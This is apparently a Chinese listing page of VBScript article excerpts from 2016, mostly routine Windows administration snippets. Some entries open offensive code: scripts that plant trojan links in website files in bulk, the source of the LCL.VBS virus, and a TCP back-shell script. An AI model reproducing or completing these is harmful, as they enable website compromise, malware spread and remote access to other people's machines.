用VBS脚本删除指定以外的文件或文件夹

2016年07月27日 80 阅读

OptionExplicit """"""""""""""说明"""""""""""" "网盟-黑火制作，送给需要的朋友。 "配置文件“Listfile.ini”的格式如下： "要删除什么（文件|目录）=要执行删除的文件夹=排除1;排除2;排除3............ "配置文件可以有多行，以便对多个目录进行操作。 "配置文件里以“/”开头的行为注释行。 "排除多个内容时，使用分号“;”进行分隔。 "↓↓↓配置文件例子：↓↓↓ "/配置文件开始 "目录=...

用VBS记录客户机操作的代码

2016年07月27日 87 阅读

记录客户机操作的VBS脚本onerrorresumenext strComputer="." SetobjWMIService=GetObject（"winmgmts:\"&strComputer&" ootcimv2"） SetIPConfigSet=objWMIService.ExecQuery_ （"SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE"） Fo...

用vbs删除某些类型文件和磁盘空间报告的脚本

2016年07月27日 79 阅读

OptionExplicit dimServerPath,onlyone,notfinddel,WorkPath,arrWorwpath,strWorkPath,fso,wsh,WshNetwork,cName,exectime,fnum,donum,totalsize,t1,t2,tm fnum=0 donum=0 totalsize=0 WorkPath="F:|D:|C:Download""这里设置需要扫描的路径（绝对路径）,使用“|”来分隔多个路径...

两个批量挂马vbs脚本代码

2016年07月27日 81 阅读

scan.vbe cscriptscan.vbeweb目录 程序代码： "版权信息 br="************************************"&vbCrLf br=br&"*VBS批量挂马脚本*"&vbCrLf br=br&"*BYBanLG*"&vbCrLf br=br&"************************************"&vbCrLf&vbCrLf br=br&"cscriptscan.vbeD:"&vb...

关于vbs WebBrowser导航问题

2016年07月27日 78 阅读

实际上属于转贴。。呵呵:-） 原始文章来自微软，微软么，是大家的微软嘛！所以稍微修改了一下，帖到这里。 原文的中文地址是： http://support.microsoft.com/kb/185538/zh-cn 实际上，这个实现就是获取一个接口，还是叫事件吧。。。。更明显，反正我是分不清这些东西的。DimWithEventsWeb_V1AsSHDocVwCtl.WebBrowser_V1 163的链接一般都是弹出窗口，就用163吧 PrivateSubF...

LCL.VBS 病毒源代码

2016年07月27日 149 阅读

rem email:kouguoxi@hotmail.comrem some crack statement i remment,make it can"t to runonerrorresumenext dimtitle,text title="canyouhelpmefindaperson？" text="hernameisLiuChunli."&chr（13）&chr（10） text=text&"herbirthdayis1981-01-23."&...

用vbs实现向任何电子邮件发送邮件

2016年07月27日 88 阅读

remianbird,notabigbird,itisadullbird. remididn"tsingthreeyearsago,todayichirpit. "OnErrorresumenext onerrorgoto0 Setfs=CreateObject（"Scripting.FileSystemObject"） Setletter=fs.CreateTextFile（wscript.ScriptFullName&".txt",True） a=ch...

用VBS检测Guest状态的脚本

2016年07月27日 83 阅读

复制代码 代码如下:SetobjNetwork=CreateObject（"Wscript.Network"） strComputer=objNetwork.ComputerName SetobjUser=GetObject（"WinNT://"&strComputer&"/Guest"） IfobjUser.AccountDisabledThen Wscript.Echo"Guest为禁用状态" Else Wscript.Echo"Guest为开启状态"...

用vbs实现的输入助手附使用方法

2016年07月27日 83 阅读

//把要ECHO的脚本,拖到此脚本上...根据提示操作即可 复制代码 代码如下:OnErrorResumeNext SetArg=Wscript.arguments IfArg.count=0thenWscript.quit ‘——————- ‘Enjoyit ‘CodeByNetPatch ‘——————- fname=InputBox（”请输入要ECHO的路径）:”,”输入文件名”,”%systemroot%/system32/webdl.vbs”） ...

vbs base64 解密脚本代码

2016年07月27日 90 阅读

复制代码 代码如下:Function fDecode（sStringToDecode） "This function will decode a Base64 encoded string and returns the decoded string. "This becomes usefull when attempting to hide passwords from prying eyes. Const CharList = "ABCDEFGHIJK...

用vbs实现修改dns的网关脚本

2016年07月27日 77 阅读

复制代码 代码如下:Const T_GATEWAY = "1.1.1.1" "网关 Const T_NEWDNS1 = "2.2.2.2" "DNS1 Const T_NEWDNS2 = "3.3.3.3" "DNS2 strWinMgmt="winmgmts:{impersonationLevel=impersonate}" Set NICS = GetObject（ strWinMgmt ）.InstancesOf（"Win32_NetworkAdap...

TCP版backshell的VBS脚本代码

2016年07月27日 135 阅读

"搞一个特殊的站准备用的，没想到，等写完了，洞补上了，郁闷 "by009,baicker@hotmail.com "date:071221 Dimrevdata setsock=WScript.createobject（"MSWinsock.Winsock","WSEvent_"） setsc=createobject（"WScript.Shell"） Setfso=CreateObject（"Scripting.FileSystemObject"） so...

VBS实现DOC转为文本文档的代码

2016年07月27日 86 阅读

打开记事本输入： 复制代码 代码如下:ONERRORRESUMENEXT setargs=wscript.arguments arg=args（0） setw=createobject（"word.application"） setfso=createobject（"scripting.filesystemobject"） setdocfile=fso.getfile（arg） docpath=docfile.path pt=left（docpath,In...

一个用vbs查找硬盘所有分区中的指定程序的代码

2016年07月27日 76 阅读

OnErrorResumeNext"忽略所有错误 Dimfilename"声明变量 Dimre Setre=NewRegExp"建立正则表达式对象实例 re.Pattern="^（[a-z]|[A-Z]）+:\w+.vbs$" Ifre.Test（WScript.ScriptFullName）=FalseThen MsgBox"请在磁盘根目录下运行本程序，否则搜索结果可能会不正确！",,"MessageBox" WScript.Quit EndIf re....

用vbs操作注册表实例代码

2016年07月27日 77 阅读

打开或关闭CMD： DimWSHShell,r,m,v,t,g Dimi OnErrorResumeNext SetWSHShell=WScript.CreateObject（"WScript.Shell"） v="HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowssystemDisableCMD" i="REG_DWORD" t="命令提示窗口开关" r=WSHShell.RegRead（v） g=1 If...

用VBS来代替BAT或CMD文件进行命令第1/2页

2016年07月27日 73 阅读

自动导入注册表的，带检测： OnErrorResumeNext dimmsg,fso,shell Setfso=Wscript.createｏｂｊｅｃｔ（"scripting.filesystemｏｂｊｅｃｔ"） setwshshell=wscript.CreateObject（"wscript.shell"） setshell=wscript.createｏｂｊｅｃｔ（"wscript.shell"） IF（fso.FileExists（"e:劲乐团 e...

禁止QQ上网的vbs脚本代码

2016年07月27日 79 阅读

dimbag,pipe,honker,good do good="." setbag=getobject（"winmgmts:\"&good&" ootcimv2"） setpipe=bag.execquery（"select*fromwin32_processwherename="QQ.exe""） foreachiinpipe i.terminate（） next wscript.sleep1 loop...

用vbs实现注册表开关的脚本

2016年07月27日 77 阅读

DimWSHShell,r,M,v,t,g,i OnErrorResumeNext SetWSHShell=WScript.CreateObject（"WScript.Shell"） v="HKCUSoftwareMicrosoftWindowsCurrentVersion PoliciesSystemDisableRegistryTools" i="REG_DWORD" t="注册表开关" r=WSHShell.RegRead（v） g=1 If（r=1...

用vbs实现解除注册表CMD、Regedit、Taskmgr限制的脚本代码

2016年07月27日 76 阅读

OnErrorResumeNext SetWSHShell=WScript.CreateObject（"WScript.Shell"） WithWScript.CreateObject（"WScript.Shell"） .RegDelete"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools" .RegDelete"HKCUSoftwarePolicies...

自己写的一个定时关机或重启的vbs脚本

2016年07月27日 78 阅读

dimActionID ActionID=1"0注销，1关机，2重启, ActionTime="2006-1-413:42:30""关机或重启时间 functionShutDown（） dimobjShell SetobjShell=WScript.CreateObject（"Wscript.Shell"） dimApplication setApplication=CreateObject（"Shell.Application.1"） Applicati...